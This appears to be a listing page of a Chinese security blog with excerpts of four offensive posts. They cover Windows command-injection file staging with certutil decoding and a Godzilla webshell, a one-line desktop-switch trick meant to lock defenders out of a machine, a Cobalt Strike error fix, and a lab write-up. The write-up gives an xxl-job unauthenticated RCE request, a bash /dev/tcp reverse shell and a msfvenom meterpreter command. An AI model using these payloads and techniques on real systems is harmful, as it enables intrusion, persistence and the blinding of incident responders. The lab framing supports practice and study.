高度受限的命令执行利用思路

最近在家很沮丧,来回面试好几家,大公司有些问题还能问到点子上,小公司问的大部分都是一些奇葩没水平的问题,问1+1=多少让爱因斯坦解答不一样也是2,这种类型的问题搞得我心情不好,有点学不进东西,之前拖欠了太多技术债务也没有解决,打算先从小的问题开始慢慢解决 命令执行辅助脚本编写 之前遇到命令执行比较复杂,苛刻条件越来越多,大部分都不了了放弃利用了。现在有空重新弄一下,我把这些情况分为windows linux,有无回显,是否DNS出网,命令执行位置GET或POST,是否可写shell,权限高低细分下来64种情况,一半都是比较简单就不写了 测试环境搭建 细分这么多情况搭建环境特别麻烦,不过linux环境直接用vulhub项目拉起漏洞复现环境测试,windows我这里直接就用的之前的虚拟机+向日葵漏洞 Windows 有回显总体来说还舒服: 有回显出网 适用于certutil无法直接下载或者杀毒拦截严重的情况,y4er大佬在先知已经写过这个了 powershell -c "'a' | Out-File C:\1.txt -Append" 不过我觉得他的太慢了,文件太大的时候慢的很,看其他人说echo,其实在windows上echo并不好用我自己找了一下替代echo的方案,利用set命令就可以解决echo会追加换行的问题 <nul set /p "=Hello" <nul set /p "=Hello">output.txt 解决这个问题就可以使用多线程并发快速落地文件了,之后就可以切割我们的木马,之后base64编码、url编码解决传输问题,编写完成脚本之后会生成两个copy命令辅助我们在不同Get和post下还原: 脚本切割了51次,生成了comeout.txt,用这个就和用暴力破解的字典一样直接burp导入就好了 勾上url编码 攻击结束: 之后是还原文件: certutil.exe+-f+-decode+c:\test\§output§.txt+c:\test\§test§.bin 之后利用脚本生成的命令还原校验hash,不出一分钟攻击就结束了 清理垃圾: del *.bin *.txt 有回显不出网 这部分主要还是不出网利用思路一样,搭建HTTP的正向webshell就可以继续攻击内网了,可以先写一个一句话木马,之后再上传HTTP正向代理脚本 寻找web目录,可以找个网站特定的js或者图片 dir /s /b C:\web.config 如果不是web服务命令执行,权限高可以直接一条命令开启IIS的web服务器,直接写入默认的IIS目录C:\inetpub\wwwroot,估计还是内网用的多,如果你够疯狂,权限不够去切割exp去提权,熟悉了exp搞起来也不难,就是很麻烦,因为很多提权的exp用起来都是要手动修改的,没有超级大的团队基本上没有这个时间成本: net start W3SVC 写入一句话,老样子base64和url编码,我用的哥斯拉,哥斯拉的马没有空格方便: 解码链接: 可以上线操作了: 默认IIS并没有装上,可以一条命令装上 Install-WindowsFeature -Name Web-Server -IncludeManagementTools 或者 Install-WindowsFeature Web-Server Install-WindowsFeature Web-Default-Doc Install-WindowsFeature Web-Dir-Browsing Install-WindowsFeature Web-Http-Errors Install-WindowsFeature Web-Static-Content Install-WindowsFeature Web-Http-Redirect Install-WindowsFeature Web-Http-Logging Install-WindowsFeature Web-Custom-Logging Install-WindowsFeature Web-Log-Libraries Install-WindowsFeature Web-Request-Monitor Install-WindowsFeature Web-Http-Tracing Install-WindowsFeature Web-Stat-Compression Install-WindowsFeature Web-Filtering Install-WindowsFeature Web-Basic-Auth Install-WindowsFeature Web-Digest-Auth Install-WindowsFeature Web-IP-Security Install-WindowsFeature Web-Url-Auth Install-WindowsFeature Web-Windows-Auth Install-WindowsFeature Web-Net-Ext45 Install-WindowsFeature Web-Asp-Net45 Install-WindowsFeature Web-WebSockets Install-WindowsFeature Web-Mgmt-Console Install-WindowsFeature Web-Scripting-Tools Install-WindowsFeature Web-Mgmt-Service 无回显出网 闭着眼睛拉马子就行,要写webshell也行。http可以cmd验证一下,dns有点麻烦,window没办法直接拼接到域名上,遇到中文路径就行不通,就没写了...

May 1, 2024 · 2 min · Theme PaperMod

一行代码物理致盲蓝队

昨天我在学习反调试,参考https://anti-debug.checkpoint.com/techniques/interactive.html这个大佬写的,这是一个窗口切换代码 BOOL Switch() { HDESK hNewDesktop = CreateDesktopA( "test", NULL, NULL, 0, DESKTOP_CREATEWINDOW | DESKTOP_WRITEOBJECTS | DESKTOP_SWITCHDESKTOP, NULL); if (!hNewDesktop) return FALSE; return SwitchDesktop(hNewDesktop); } 编译之后以运行,整个物理机就gg了,全白屏,为了演示效果大概像这样,不知道为什么虚拟机是黑的,不过效果都一样: 据我所知,一旦进入这种窗口切换模式,外面的蓝队想返回桌面变得近乎不可能,虽然后台的程序一切正常,不过除非危机关头,差一点到核心内网,要擦除工具后门遗留的数据等等,不要使用。 排查思考 目前来说只有重启系统才能恢复到正常,不过有些APT勒索组织要是把这玩意加入进启动项,那就是噩梦的开始了,物理机一般用F8可以进入安全启动模式,安全启动模式只会加载系统核心的组件,方便我们排查这类恶意的程序,但是虚拟机似乎没有很好的办法进入安全启动模式,按照官方文档F8依然没办法进去,一般我们要登陆进去才能去启动安全模式,但是登陆进去瞬间黑屏的话非常难受 其他可能都方法 一般企业可能有下方执行命令的系统,可以直接下发命令去删除这类启动项计划任务,或者这台虚拟机不止一个账户,用其他账户登陆也可能不受影响,也直接利用135、445端口的那种横向技巧也能登陆进来,不过现在就3389开着多似乎也不是一个好主意。。。。 完

April 19, 2024 · 1 min · Theme PaperMod

解决cobaltstrike启动的空指针错误

背景 某天上午虚拟机突然卡死崩溃,再次启动我的cobaltstrike,运行发现报java空指针错误,搞了一上午也没找到原因,下午睡觉起来找到了是颜色设置的问题 错误和解决 报错内容大概是这样的: java.lang.NumberFormatException during cortana bridge: &openEventLog [Aggressor Script Event Queue]: Zero length string java.lang.NumberFormatException: Zero length string at java.base/java.lang.Integer.decode (Integer.java:1401) at java.desktop/java.awt.Color.decode(Color.java:729) at aggressor.Prefs. getColor(Unknown Source) at console.StatusBar.<init>(Unknown Source) at console.Console .<init>(Unknown Source) at console.ActivityConsole.<init>(Unknown Source) at aggressor.windows.EventLog.<init>(Unknown Source) at aggressor.bridges.AggressorBridge.evaluate(Unknown Source) at cortana.SafeFunction.evaluate(Unknown Source) at sleep.engine.CallRequest$FunctionCallRequest.execute(Unknown Source) at sleep.engine.CallRequest.CallFunction(Unknown Source) at sleep.engine.atoms.Call.evaluate(Unknown Source) at sleep.engine.Block.evaluate(Unknown Source) at sleep.engine.Block.evaluate (Unknown Source) at sleep.bridges.SleepClosure.evaluate(Unknown Source) at sleep.engine.CallRequest$ClosureCallRequest.execute(Unknown Source) at sleep....

March 30, 2024 · 1 min · Theme PaperMod

某一次靶场考核过程

本篇是老东家的某个月同事出的靶场渗透测试,都是常规操作,拿来练手提升基础熟练度非常合适 目录扫描发现: 访问发现报错信息: 根据java的包的报错,可以找到源代码,这里我问了chatgpt: 谷歌找到文档,翻到后台: http://192.168.10.70:8080/xxl-job-admin/toLogin 经过翻阅,发现有一个未授权的RCE,最新的那个SSRF进后台RCR的那个没搞出来,这个是老的: POST /run HTTP/1.1 Host: 192.168.10.70:9999 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 521 { "jobId":1, "executorHandler":"demoJobHandler", "executorParams":"demoJobHandler", "executorBlockStrategy":"COVER_EARLY", "executorTimeout":0, "logId":1, "logDateTime":1586629003729, "glueType":"GLUE_SHELL", "glueSource":"ping ecujz4ok5rcfvx3kdd5turf0rrxil89x.oastify.com", "glueUpdatetime":1586629003727, "broadcastIndex":0, "broadcastTotal":0 } dns成功触发了: 接下来就是反弹shell, /bin/bash -i >& /dev/tcp/192.168.11.108/8888 0>&1 msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.11.108 LPORT=443 -f elf -o reverse.elf 为了维持住会话,上一下msf:...

March 29, 2024 · 1 min · Theme PaperMod